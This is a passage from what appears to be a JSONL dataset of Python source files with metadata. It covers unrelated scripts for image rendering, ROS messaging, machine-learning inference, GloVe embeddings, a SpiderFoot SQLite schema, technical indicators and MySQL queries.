scrollNeeded / 17\n\telse:\n\t\tspeed = 0\n\tif speed > 9:\n\t\tspeed = 9\n\t\t\n\t\t\n\tif pausedFrames == 0:\n\t\tspeeds.append(speed)\n\t\tif len(speeds) > 120:\n\t\t\tspeeds.remove(speeds[0])\n\t\tfSpeed = speed\n\t\t\n\t\tfor speed in speeds:\n\t\t\tfSpeed = (fSpeed * .68) + (speed *.32) \n\t\tspeed = fSpeed\n\t\n\tif scrollNeeded > 2000 and height < 0:\n\t\tspeed = 1000\n\t\n\t\n\tnewFrame = Image.new(\"RGBA\",(W,int(1400/700*1000)))\n\theight -= speed\n\theyight = int(height)\n\tscrollNeeded -= speed\n\tnewFrame.paste(text,(0,heyight))\n\tif len(chat) == 0:\n\t\tend += 1\n\t\n\t\"\"\"\n\tframeskip+=1\n\tif frameskip == 1:\n\t\tframeskip = 0\n\t\"\"\"\n\tcount += 1\n\tnewFrame.save(filename + str(count)+\".png\",\"png\")","sub_path":"chatReplay.py","file_name":"chatReplay.py","file_ext":"py","file_size_in_byte":12744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397897269","text":"#!/usr/bin/env python\n\n####################################################################\n# Takes geometry_msgs/Pose topic and sets world-frame coordinates of\n# object in unity.\n####################################################################\n\n\nimport rospy\nfrom std_msgs.msg import String\nfrom geometry_msgs.msg import Pose, PoseStamped\n\nfrom tf.transformations import euler_from_quaternion\n\nclass CMDInterface:\n def __init__(self):\n self.pub = rospy.Publisher('unity_cmd', String, queue_size=10)\n self.unity_name = rospy.get_param('~unity_name')\n\n def pose_cb(self, pose_cmd):\n msg = String()\n\n\n euler_angles = euler_from_quaternion((pose_cmd.orientation.x, \\\n pose_cmd.orientation.y, \\\n pose_cmd.orientation.z, \\\n pose_cmd.orientation.w))\n cmd = (pose_cmd.position.x, \\\n pose_cmd.position.y, \\\n pose_cmd.position.z, \\\n euler_angles[0], \\\n euler_angles[1], \\\n euler_angles[2])\n\n msg.data = self.unity_name + ' pose ' + ' '.join(map(str, cmd))\n self.pub.publish(msg)\n\nif __name__ == '__main__':\n try:\n rospy.init_node('pose_to_unity_cmd_node', anonymous=True)\n iface = CMDInterface()\n sub = rospy.Subscriber('pose_cmd', Pose, iface.pose_cb)\n rospy.spin()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"arl_unity_ros_abstract/src/pose_to_unity.py","file_name":"pose_to_unity.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"33660099","text":"import heapq\n\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n def mergeKLists(self, lists):\n heap = []\n head = None\n for node in lists:\n if node is not None:\n heapq.heappush(heap,(node.val,node))\n while len(heap) is not 0:\n temp = heapq.heappop(heap)[1]\n if head is None:\n head = temp\n current = head\n else:\n current.next = temp\n current = current.next\n if temp.next is not None:\n heapq.heappush(heap,(temp.next.val,temp.next))\n return head","sub_path":"LeetCode/Algorithms/merge_sorted_lists.py","file_name":"merge_sorted_lists.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"290363010","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/10/3 下午8:35\n# @Author : zxq\n# @File : model_infer.py\n# @Software: PyCharm\nimport json\nimport os\n\nimport cv2\nimport mmcv\nimport numpy as np\nimport torch\nfrom mmcv import Config\n\nfrom mmcls.models import build_classifier\n\nid_to_class = {\n 0: \"normal\",\n 1: \"calling\",\n 2: \"smoking\"\n}\n\nif __name__ == '__main__':\n cfg = Config.fromfile('../../configs/imagenet/ciga_call_cfg.py')\n data_path = '/home/zxq/PycharmProjects/data/ciga_call/test'\n json_file_path = '/home/zxq/PycharmProjects/data/ciga_call/result.json'\n # json1_file_path = '/home/zxq/Downloads/result.json'\n # f = open(json_file_path, mode='r+')\n # content = json.load(f)\n json_file = open(json_file_path, mode='w')\n weight_path = '../../work_dir/version02/epoch_100.pth'\n model = build_classifier(cfg.model)\n model.eval()\n save_path = os.path.join(os.path.dirname(cfg.data.test.data_prefix), 'test_result')\n mmcv.mkdir_or_exist(save_path)\n\n mean_value = None\n std_value = None\n for step_ in cfg.test_pipeline:\n if step_['type'] is 'Normalize':\n mean_value = np.array(step_['mean'])\n std_value = np.array(step_['std'])\n img_name_list = os.listdir(data_path)\n save_json_content = []\n # k = 0\n for img_name in img_name_list:\n img_dir = os.path.join(data_path, img_name)\n print(img_dir)\n img = cv2.imread(img_dir)\n\n # 1, resize\n img_resized = mmcv.imresize(img, (256, 256))\n\n # 2, Normalize\n img_normalized = mmcv.imnormalize(img_resized, mean_value, std_value)\n\n # 3, switch dim and to tensor\n input_data = torch.Tensor(np.transpose(img_normalized, [2, 0, 1]))\n\n # 4, add batch dim\n batch_data = torch.unsqueeze(input_data, 0)\n # 4, infer\n model.load_state_dict(torch.load(weight_path, map_location='cpu')['state_dict'])\n model_output = model(batch_data, return_loss=False)\n output_normalized = torch.nn.functional.softmax(model_output, dim=1)\n output_numpy = output_normalized.detach().numpy()\n cls_output = np.argmax(output_numpy, axis=1)\n print(np.round(output_numpy[0][cls_output[0]], 5))\n\n result_json = {\n \"image_name\": img_name,\n \"category\": id_to_class[cls_output[0]],\n \"score\": np.round(np.float(output_numpy[0][cls_output[0]]), 5)}\n save_json_content.append(result_json)\n # json.dump(result_json, json_file, ensure_ascii=False, indent=4)\n # k += 1\n # if k > 10:\n # break\n\n save_json_content.sort(key=lambda x: int(x['image_name'][:-4]))\n json.dump(save_json_content, json_file, indent=4)\n\n","sub_path":"tools/test_tools/model_infer.py","file_name":"model_infer.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"319850711","text":"import logging\n\nimport torch\nfrom .bbox_helper import bbox_iou_overlaps\nfrom .bbox_helper import bbox_iof_overlaps\n\nlogger = logging.getLogger('global')\n\n\ndef match(bboxes, gt, cfg, gt_ignores=None):\n \"\"\"\n Match roi to gt\n\n Temporarily used tensors:\n overlaps (FloatTensor): [N, M], ious of dt(N) with gt(M)\n ignore_overlaps (FloatTensor): [N, K], ious of dt(N) with ignore regions(K)\n\n Returns:\n target (LongTensor): [N], matched gt index for each roi.\n 1. if a roi is positive, it's target is matched gt index (>=0)\n 2. if a roi is negative, it's target is -1,\n 3. if a roi isn't positive nor negative, it's target is -2;\n \"\"\"\n NEGATIVE_TARGET = -1\n IGNORE_TARGET = -2\n N = bboxes.shape[0]\n M = gt.shape[0]\n\n # check M > 0 for no-gt support\n overlaps = bbox_iou_overlaps(bboxes, gt) if M > 0 else bboxes.new_zeros(N, 1)\n ignore_overlaps = None\n if gt_ignores is not None and gt_ignores.numel() > 0:\n ignore_overlaps = bbox_iof_overlaps(bboxes, gt_ignores)\n\n target = bboxes.new_full((N, ), IGNORE_TARGET, dtype=torch.int64)\n dt_to_gt_max, dt_to_gt_argmax = overlaps.max(dim=1)\n\n # rule 1: negative if maxiou < negative_iou_thresh:\n neg_mask = dt_to_gt_max < cfg['negative_iou_thresh']\n target[neg_mask] = NEGATIVE_TARGET\n\n # rule 2: positive if maxiou > pos_iou_thresh\n pos_mask = dt_to_gt_max > cfg['positive_iou_thresh']\n target[pos_mask] = dt_to_gt_argmax[pos_mask]\n\n # rule 3: positive if a dt has highest iou with any gt\n if cfg.get('allow_low_quality_match') and M > 0:\n overlaps = overlaps.t() # IMPORTANT, for faster caculation\n gt_to_dt_max, _ = overlaps.max(dim=1)\n dt_gt_pairs = torch.nonzero((overlaps >= gt_to_dt_max[:, None] - 1e-3))\n if dt_gt_pairs.numel() > 0:\n lqm_dt_inds = dt_gt_pairs[:, 1]\n target[lqm_dt_inds] = dt_to_gt_argmax[lqm_dt_inds]\n pos_mask[lqm_dt_inds] = 1\n\n # rule 4: dt has high iou with ignore regions may not supposed to be negative\n if ignore_overlaps is not None and ignore_overlaps.numel() > 0:\n dt_to_ig_max, _ = ignore_overlaps.max(dim=1)\n ignored_dt_mask = dt_to_ig_max > cfg['ignore_iou_thresh']\n # remove positives from ignored\n ignored_dt_mask = (ignored_dt_mask ^ (ignored_dt_mask & pos_mask))\n target[ignored_dt_mask] = IGNORE_TARGET\n return target\n","sub_path":"unn/models/heads/utils/matcher.py","file_name":"matcher.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"479089601","text":"from base_complement import * \n\n#open genome file and extract window\n\nbedfile = \"glna_cleavage.bed12\" #edit path as needed\nbed = open(bedfile, 'r')\n\nold_cleavage = \"glna_windows.txt\"\nold_sites = open(old_cleavage, 'r')\n\nnew_cleavage = \"glna_windows_newer.txt\"\nnew_sites = open(new_cleavage, 'w')\n\nfor line1 in bed:\n\tfor line2 in old_sites: \n\t\tif '>' in line2:\n\t\t\tnew_sites.write(line2)\n\t\telse: \n\t\t\tif '+' in line1: \n\t\t\t\tnew_sites.write(line2)\n\t\t\telse: \n\t\t\t\tcomp = seqcomplement(line2, 'DNA')\n\t\t\t\tnew_sites.write(comp) \n\nbed.close()\nold_sites.close()\nnew_sites.close()\n\n","sub_path":"msa/msas_with_bad_scores/daca/sequence_complement.py","file_name":"sequence_complement.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"352438097","text":"from typing import List\nfrom keras_preprocessing import sequence\nfrom keras_preprocessing.text import Tokenizer\nfrom sklearn import preprocessing\nfrom sklearn.preprocessing import MinMaxScaler\nfrom DatasetsConsumers.AbstractDataset import AbstractDataset\nfrom rootfile import ROOTPATH\nfrom utility.utility import file_exists, load, save\nimport numpy as np\nimport tensorflow as tf\n\nGLOVE_DIR = ROOTPATH + \"data/GloveWordEmbeddings/\"\n\n\nclass GloVe:\n dimensionCount = 0\n glove_file = ''\n model = {}\n\n def __init__(self, dimension_count: int):\n self.dimensionCount = dimension_count\n self.glove_file = \"glove.6B.\" + str(dimension_count) + \"d.txt\"\n # self.glove_file = 'glove.840B.300d.txt'\n\n # Load model\n def load_glove_model(self):\n if len(self.model) is not 0:\n return\n print('Features / Weights matrix not found.')\n print(\"Loading Glove word embeddings\")\n num_lines = 0\n line_counter = 0\n with open(GLOVE_DIR + self.glove_file, 'r+', encoding=\"utf8\") as f:\n for _ in f:\n num_lines += 1\n with open(GLOVE_DIR + self.glove_file, 'r+', encoding=\"utf8\") as f:\n for line in f:\n line_counter += 1\n if line_counter % int(num_lines / 10) == 0:\n print(\"{:.2f}%\".format(line_counter / (int(num_lines / 100) * 100) * 100))\n split_line = line.split()\n word = split_line[0]\n\n if len(split_line) > self.dimensionCount + 1:\n continue\n embedding = np.asarray(split_line[1:], dtype='float32')\n self.model[word] = embedding\n print(\"Done.\", len(self.model), \" tokens loaded!\")\n\n def get_weights_matrix(self, emails: List[List[str]], dataset: AbstractDataset, dataset_mode):\n wm_file_name = dataset_mode + \"/\" + \"{}_weights_matrix_{}\".format(dataset.get_name(), self.dimensionCount)\n\n tokenizer = Tokenizer()\n tokenizer.fit_on_texts(emails)\n sequences = tokenizer.texts_to_sequences(emails)\n sequences_matrix = sequence.pad_sequences(sequences, maxlen=256)\n if file_exists(wm_file_name):\n return load(wm_file_name), sequences_matrix\n\n self.load_glove_model()\n vocab_size = len(tokenizer.word_index) + 1\n weights_matrix = np.zeros((vocab_size, self.dimensionCount))\n for word, i in tokenizer.word_index.items():\n embedding_vector = self.model.get(word)\n if embedding_vector is not None:\n weights_matrix[i] = embedding_vector\n weights_matrix = tf.convert_to_tensor(weights_matrix)\n save(weights_matrix, wm_file_name)\n return weights_matrix, sequences_matrix\n\n # Check if features exist\n def get_features(self, emails: np.array, dataset: AbstractDataset):\n print(\"Loading embedding features\")\n feature_file_name = dataset.mode + \"/\" + dataset.get_name() + '_features_' + str(self.dimensionCount)\n if file_exists(feature_file_name):\n return load(feature_file_name)\n self.load_glove_model()\n sum_vectors_array = self.sum_vectors(emails)\n features = preprocessing.scale(sum_vectors_array)\n save(features, feature_file_name)\n return features\n\n def sum_vectors(self, words_in_emails):\n all_vector_sum = []\n for i in range(len(words_in_emails)):\n words = words_in_emails[i]\n vector_sum = np.zeros(self.dimensionCount)\n for word in words:\n if word in self.model:\n word_vector = self.model[word]\n vector_sum += word_vector\n all_vector_sum.append(vector_sum)\n scaler = MinMaxScaler()\n scaler.fit(all_vector_sum)\n MinMaxScaler(copy=True, feature_range=(0, 1))\n normed_vectors = scaler.transform(all_vector_sum)\n return normed_vectors\n","sub_path":"src/Glove/glovemodel.py","file_name":"glovemodel.py","file_ext":"py","file_size_in_byte":3954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"644153478","text":"class Torch:\n\tdef __init__(self, app):\n\t\tself.app=app\n\t\tself.ledstatus=0\n\t\tself.npstatus=0\n\n\tdef run(self):\n\t\tchange=True\n\t\tclose_app=False\n\t\ti=0\n\t\tj=0\n\t\tred=0\n\t\tgreen=0\n\t\tblue=0\n\t\tdatau_old=0\n\t\tdatad_old=0\n\t\tdatas_old=0\n\t\tdata={}\n\t\tcolor_picker = False\n\t\tsecond_column = False\n\t\tnext_app=False\n\t\twhile((not close_app) and self.app.isAlive()):\n\t\t\tif (change):\n\t\t\t\t\tchange=False\n\t\t\t\t\tself.app.newImg()\n\t\t\t\t\tif not color_picker:\n\t\t\t\t\t\tself.app.setText((45,0), \"TORCH \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((10,10),\"TOP \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((10,20),\"SIDE \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((10,30),\"MENU \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((1,10+i*10),\">\", 255,self.app.getFonts()[0])\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.app.setText((10,0),\"RED \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((70,0),str(red), 255,self.app.getFonts()[0])\n\n\t\t\t\t\t\tself.app.setText((10,10),\"GREEN \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((70,10),str(green), 255,self.app.getFonts()[0])\n\n\t\t\t\t\t\tself.app.setText((10,20),\"BLUE \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((70,20),str(blue), 255,self.app.getFonts()[0])\n\n\t\t\t\t\t\tself.app.setText((10,30),\"SET \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((10,40),\"RESET \", 255,self.app.getFonts()[0])\n\t\t\t\t\t\tself.app.setText((10,50),\"BACK \", 255,self.app.getFonts()[0])\n\n\t\t\t\t\t\tif second_column:\n\t\t\t\t\t\t\tself.app.setText((60,j*10),\">\", 255,self.app.getFonts()[0])\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.app.setText((1,j*10),\">\", 255,self.app.getFonts()[0])\n\n\t\t\t\t\tdata=self.app.sendImg_and_recvData()\n\t\t\telse:\n\t\t\t\tdata=self.app.recvData()\n\t\t\t\n\t\t\t#print(data)\t\n\t\t\tif (data['DOWN']!=datad_old):\n\t\t\t\tdatad_old=data['DOWN']\n\t\t\t\tif(datad_old):\n\t\t\t\t\tif color_picker:\n\t\t\t\t\t\tif second_column:\n\t\t\t\t\t\t\tif j==0:\n\t\t\t\t\t\t\t\tif red > 0:\n\t\t\t\t\t\t\t\t\tred -=1\n\t\t\t\t\t\t\tif j==1:\n\t\t\t\t\t\t\t\tif green > 0:\n\t\t\t\t\t\t\t\t\tgreen -= 1\n\t\t\t\t\t\t\tif j==2:\n\t\t\t\t\t\t\t\tif blue > 0:\n\t\t\t\t\t\t\t\t\tblue -= 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif j==5:\n\t\t\t\t\t\t\t\tj=0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tj+=1\n\t\t\t\t\telse:\n\t\t\t\t\t\tif(i==2):\n\t\t\t\t\t\t\ti=0\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ti+=1\n\n\t\t\t\t\tchange=True\n\t\t\telif (data['UP']!=datau_old):\n\t\t\t\tdatau_old=data['UP']\n\t\t\t\tif(datau_old):\n\t\t\t\t\tif color_picker:\n\t\t\t\t\t\tif second_column:\n\t\t\t\t\t\t\tif j==0:\n\t\t\t\t\t\t\t\tif red < 255:\n\t\t\t\t\t\t\t\t\tred +=1\n\t\t\t\t\t\t\tif j==1:\n\t\t\t\t\t\t\t\tif green < 255:\n\t\t\t\t\t\t\t\t\tgreen += 1\n\t\t\t\t\t\t\tif j==2:\n\t\t\t\t\t\t\t\tif blue < 255:\n\t\t\t\t\t\t\t\t\tblue += 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif j==0:\n\t\t\t\t\t\t\t\tj=5\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tj-=1\n\t\t\t\t\telse:\n\t\t\t\t\t\tif(i==0):\n\t\t\t\t\t\t\ti=2\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ti-=1\n\n\t\t\t\t\tchange=True\n\t\t\telif(data['SELECT']!=datas_old):\n\t\t\t\tdatas_old=data['SELECT']\n\t\t\t\tif(datas_old):\n\t\t\t\t\tif color_picker:\n\t\t\t\t\t\tif second_column:\n\t\t\t\t\t\t\tsecond_column = False\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif j==3:\n\t\t\t\t\t\t\t\tself.app.setNeopixel([red,green,blue])\n\t\t\t\t\t\t\telif j==4:\n\t\t\t\t\t\t\t\tred = 0\n\t\t\t\t\t\t\t\tgreen = 0\n\t\t\t\t\t\t\t\tblue = 0\n\t\t\t\t\t\t\t\tself.app.setNeopixel([red,green,blue])\n\t\t\t\t\t\t\telif j==5:\n\t\t\t\t\t\t\t\tcolor_picker = False\n\t\t\t\t\t\t\t\tj=0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tsecond_column = True\n\t\t\t\t\telse:\n\t\t\t\t\t\tif(i==2):\n\t\t\t\t\t\t\tnext_app=True\n\t\t\t\t\t\telif(i==1):\n\t\t\t\t\t\t\tself.ledstatus=not self.ledstatus\n\t\t\t\t\t\t\tself.app.setOutPin(16, self.ledstatus)\n\t\t\t\t\t\telif(i==0):\n\t\t\t\t\t\t\t'''self.npstatus= not self.npstatus\n\t\t\t\t\t\t\tself.app.setNeopixel([255*self.npstatus,255*self.npstatus,255*self.npstatus])'''\n\t\t\t\t\t\t\tcolor_picker = True\n\n\t\t\t\t\tchange = True\n\n\t\t\t#self.app.setNeopixel([red,green,blue])\n\n\t\t\tif (next_app and data['SELECT']==0):\n\t\t\t\tnext_app=False\n\t\t\t\tclose_app = True\n\n\t\treturn -1\n\n\n","sub_path":"eulero/src/torch.py","file_name":"torch.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"271171356","text":"#-------------------------------------------------------------------------------\r\n# Name: sfdbsetup\r\n# Purpose: Create a new SpiderFoot database.\r\n#\r\n# Author: Steve Micallef \r\n#\r\n# Created: 15/02/2013\r\n# Copyright: (c) Steve Micallef 2013\r\n# Licence: GPL\r\n#-------------------------------------------------------------------------------\r\n\r\nimport sqlite3\r\nimport sys\r\n\r\nclass SpiderFootDbInit:\r\n def __init__(self, opts):\r\n\r\n # connect() will create the database file if it doesn't exist, but\r\n # at least we can use this opportunity to ensure we have permissions to\r\n # read and write to such a file.\r\n dbh = sqlite3.connect(opts['__database'], timeout=10)\r\n if dbh == None:\r\n sf.error(\"Could not initialize internal database. Check that \" + \\\r\n opts['__database'] + \" is readable and writable.\")\r\n dbh.text_factory = str\r\n self.conn = dbh\r\n self.dbh = dbh.cursor()\r\n return\r\n\r\n # Close the database handle\r\n def close(self):\r\n self.dbh.close()\r\n\r\n def create(self):\r\n queries = [\r\n \"PRAGMA journal_mode=WAL\",\r\n \"CREATE TABLE tbl_event_types ( \\\r\n event VARCHAR NOT NULL PRIMARY KEY, \\\r\n event_descr VARCHAR NOT NULL, \\\r\n event_raw INT NOT NULL DEFAULT 0 \\\r\n )\",\r\n \"CREATE TABLE tbl_config ( \\\r\n scope VARCHAR NOT NULL, \\\r\n opt VARCHAR NOT NULL, \\\r\n val VARCHAR NOT NULL, \\\r\n PRIMARY KEY (scope, opt) \\\r\n )\",\r\n \"CREATE TABLE tbl_scan_instance ( \\\r\n guid VARCHAR NOT NULL PRIMARY KEY, \\\r\n name VARCHAR NOT NULL, \\\r\n seed_target VARCHAR NOT NULL, \\\r\n created INT DEFAULT 0, \\\r\n started INT DEFAULT 0, \\\r\n ended INT DEFAULT 0, \\\r\n status VARCHAR NOT NULL \\\r\n )\",\r\n \"CREATE TABLE tbl_scan_log ( \\\r\n scan_instance_id VARCHAR NOT NULL REFERENCES tbl_scan_instance(guid), \\\r\n generated INT NOT NULL, \\\r\n component VARCHAR, \\\r\n type VARCHAR NOT NULL, \\\r\n message VARCHAR \\\r\n )\",\r\n \"CREATE TABLE tbl_scan_config ( \\\r\n scan_instance_id VARCHAR NOT NULL REFERENCES tbl_scan_instance(guid), \\\r\n component VARCHAR NOT NULL, \\\r\n opt VARCHAR NOT NULL, \\\r\n val VARCHAR NOT NULL \\\r\n )\",\r\n \"CREATE TABLE tbl_scan_results ( \\\r\n scan_instance_id VARCHAR NOT NULL REFERENCES tbl_scan_instance(guid), \\\r\n hash VARCHAR NOT NULL, \\\r\n type VARCHAR NOT NULL REFERENCES tbl_event_types(event), \\\r\n generated INT NOT NULL, \\\r\n confidence INT NOT NULL DEFAULT 100, \\\r\n visibility INT NOT NULL DEFAULT 100, \\\r\n risk INT NOT NULL DEFAULT 0, \\\r\n module VARCHAR NOT NULL, \\\r\n data VARCHAR, \\\r\n source_event_hash VARCHAR DEFAULT 'ROOT' \\\r\n )\",\r\n \"CREATE INDEX idx_scan_results_id ON tbl_scan_results (scan_instance_id)\",\r\n \"CREATE INDEX idx_scan_results_type ON tbl_scan_results (scan_instance_id, type)\",\r\n \"CREATE INDEX idx_scan_results_hash ON tbl_scan_results (hash)\",\r\n \"CREATE INDEX idx_scan_logs ON tbl_scan_log (scan_instance_id)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('AFFILIATE', 'Affiliate', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('EMAILADDR', 'Email Address', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('GEOINFO', 'Physical Location', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('HTTP_CODE', 'HTTP Status Code', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('INITIAL_TARGET', 'User-Supplied Target', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('IP_ADDRESS', 'IP Address', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('NETBLOCK', 'Netblock Ownership', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('LINKED_URL_INTERNAL', 'Linked URL - Internal', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('LINKED_URL_EXTERNAL', 'Linked URL - External', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('RAW_DATA', 'Raw Data', 1)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('SUBDOMAIN', 'Sub-domain', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('SIMILARDOMAIN', 'Similar Domain', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('TCP_PORT_OPEN', 'Open TCP Port', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('URL_FORM', 'URL (Form)', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('URL_FLASH', 'URL (Uses Flash)', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('URL_JAVASCRIPT', 'URL (Uses Javascript)', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('URL_JAVA_APPLET', 'URL (Uses Java applet)', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('URL_STATIC', 'URL (Purely Static)', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('URL_PASSWORD', 'URL (Accepts Passwords)', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('URL_UPLOAD', 'URL (Accepts Uploads)', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('WEBSERVER_BANNER', 'Web Server', 0)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('WEBSERVER_HTTPHEADERS', 'HTTP Headers', 1)\",\r\n \"INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('WEBSERVER_TECHNOLOGY', 'Web Technology', 0)\"\r\n ]\r\n\r\n try:\r\n for qry in queries:\r\n self.dbh.execute(qry)\r\n self.conn.commit()\r\n except sqlite3.Error as e:\r\n raise BaseException(\"SQL error encountered when setting up database: \" +\r\n e.args[0])\r\n\r\n","sub_path":"sfdbsetup.py","file_name":"sfdbsetup.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"5673466","text":"# -*- coding: utf-8 -*-\nimport numpy as np\n\n\nclass Input:\n\n def __init__(self, x: np.array, shape: tuple, nombre: str = \"Input_layer\"):\n \"\"\"EL\n shape: lista de shape debe ser ancho, alto y capas\"\"\"\n self.X = x\n self.shape = shape\n self.nombre = nombre\n self.capas = None\n self.index = 0\n assert x.shape == shape, f\"El shape de los datos {x.shape[1:]} es diferente del input indicado {shape}\"\n\n\n def __str__(self, ):\n return f\"Input: {self.nombre}, shape= {self.shape}, type: {type(self.X)}\"\n\n\nif __name__ == '__main__':\n volumen_random = np.random.random(9)\n df = np.array([volumen_random/(1+np.square(x)) for x in range(10)])\n entrada = Input(x=df, shape=(9,))\n print(entrada.__dict__)\n","sub_path":"Input.py","file_name":"Input.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"565943433","text":"import talib\nimport getting_data as gd\nimport numpy as np \nimport pandas as pd\n\n\n# Pandas dataframe settiongs\npd.set_option('display.float_format', lambda x: '%.5f' % x)\n# to reset that option: \n# pd.reset_option('display.float_format')\n# Set all values to five decimal places instead of scientific notation\n\n# Supressing SettingWithCopyWarning Message: REVISE LATER\npd.options.mode.chained_assignment = None # default='warn'\n\n\ndef ADX(df):\n data = df[[\"High\", \"Low\", \"Adj Close\"]]\n adx = talib.ADX(data[\"High\"], data[\"Low\"], data[\"Adj Close\"], timeperiod=14)\n df[\"ADX\"] = pd.Series(adx, index=df.index)\n\n return df\n\ndef MACD(df):\n data = df[\"Adj Close\"]\n macd, macdsignal, macdhist = talib.MACD(data, fastperiod=12, slowperiod=26, signalperiod=9)\n df[\"MACD\"] = pd.Series(macd, index=df.index)\n\n return df\n\n\ndef ATR(df):\n data = df[[\"High\", \"Low\", \"Adj Close\"]] \n atr = talib.ATR(data[\"High\"], data[\"Low\"], data[\"Adj Close\"], timeperiod=14)\n df[\"ATR\"] = pd.Series(atr, index=df.index)\n\n return df\n\nif __name__ == \"__main__\":\n ATR(df=gd.getData(\"TSLA\"))\n","sub_path":"Volume_technical_analysis.py","file_name":"Volume_technical_analysis.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"98309318","text":"#!/usr/bin/python3\n'''\n Lists all cities associated with given state\n'''\nimport MySQLdb\nfrom sys import argv\nif __name__ == \"__main__\":\n connection = MySQLdb.connect(host=\"localhost\", port=3306, charset=\"utf8\",\n user=argv[1], passwd=argv[2], db=argv[3])\n cursor = connection.cursor()\n selection = \"SELECT cities.name FROM cities \" +\\\n \"JOIN states ON cities.state_id = states.id \" +\\\n \"WHERE states.name = %s ORDER BY cities.id ASC\"\n cursor.execute(selection, (argv[4],))\n rows = cursor.fetchall()\n\n ret = \"\"\n flag = False\n for eachRow in rows:\n ret += ', ' if flag else ''\n flag = True\n ret += eachRow[0]\n print(ret)\n cursor.close()\n connection.close()\n","sub_path":"0x0F-python-object_relational_mapping/5-filter_cities.py","file_name":"5-filter_cities.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"317302775","text":"import json\nimport random\n\nimport mysql.connector\nimport requests\nfrom colorama import Back, Fore, init\n\nfrom config import configuration as conf\nfrom config.dbase import Dbase\nfrom purbeurre import header, home\n\ninit(autoreset=True)\n\n\ndef display_ls_categories():\n \"\"\"Displays the categories of the json file\n \"\"\"\n categories = conf.read_categories()[\"ls_categories\"]\n\n print(\"Liste des catégories disponibles :\")\n num = 0\n for category in categories:\n num += 1\n print(str(num).center(2, \" \"), \"-\", category)\n\n print(\"-\" * 80)\n category_input = input(\n \"Veuillez saisir un nombre entre 1 et {} ou 